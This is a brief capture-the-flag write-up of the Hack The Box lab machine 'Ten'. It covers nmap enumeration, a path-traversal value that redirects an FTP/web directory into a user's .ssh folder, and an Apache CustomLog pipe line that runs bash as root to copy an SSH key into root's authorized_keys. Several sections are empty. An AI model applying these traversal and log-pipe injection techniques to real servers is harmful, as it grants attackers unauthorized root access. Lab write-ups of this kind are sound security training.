// htb writeup Hack The Box 2026-02-25
Ten
HackTheBox Hard Hack The Box
root obtained // PWNED

🧪 Machine Name: Ten

Platform: Hack The Box
IP Address: 10.129.234.158
Difficulty: Hard


🧭 Overview

“Ten” was a highly engaging challenge combining web hosting logic, virtual hosting exploitation, FTP traversal, and a clever use of Apache’s CustomLog pipe functionality to gain root access.

Initial access was gained through self-service web account creation and FTP access. Privilege escalation was achieved by leveraging control over Apache logging to inject and execute shell commands as root.


🔍 Enumeration

Nmap Scan

nmap -p- --min-rate 10000 10.129.234.158
nmap -p 21,22,80 -sCV -oN nmapscan 10.129.234.158

Ports Open:


🌐 Web Exploration

WebDB Exploitation

"dir": "/srv/../home/tyrell/.ssh/./"

📂 FTP Traversal & SSH Access

ssh -i ~/.ssh/myremotekey tyrell@ten.vl
cat .user.txt

⚙️ Privilege Escalation

CustomLog "|/bin/bash -c 'cat /home/tyrell/.ssh/authorized_keys >> /root/.ssh/authorized_keys'" common
ssh -i ~/.ssh/myremotekey root@pwn1.ten.vl
cat /root/root.txt

🧠 Lessons Learned


📸 Proof

Ten Proof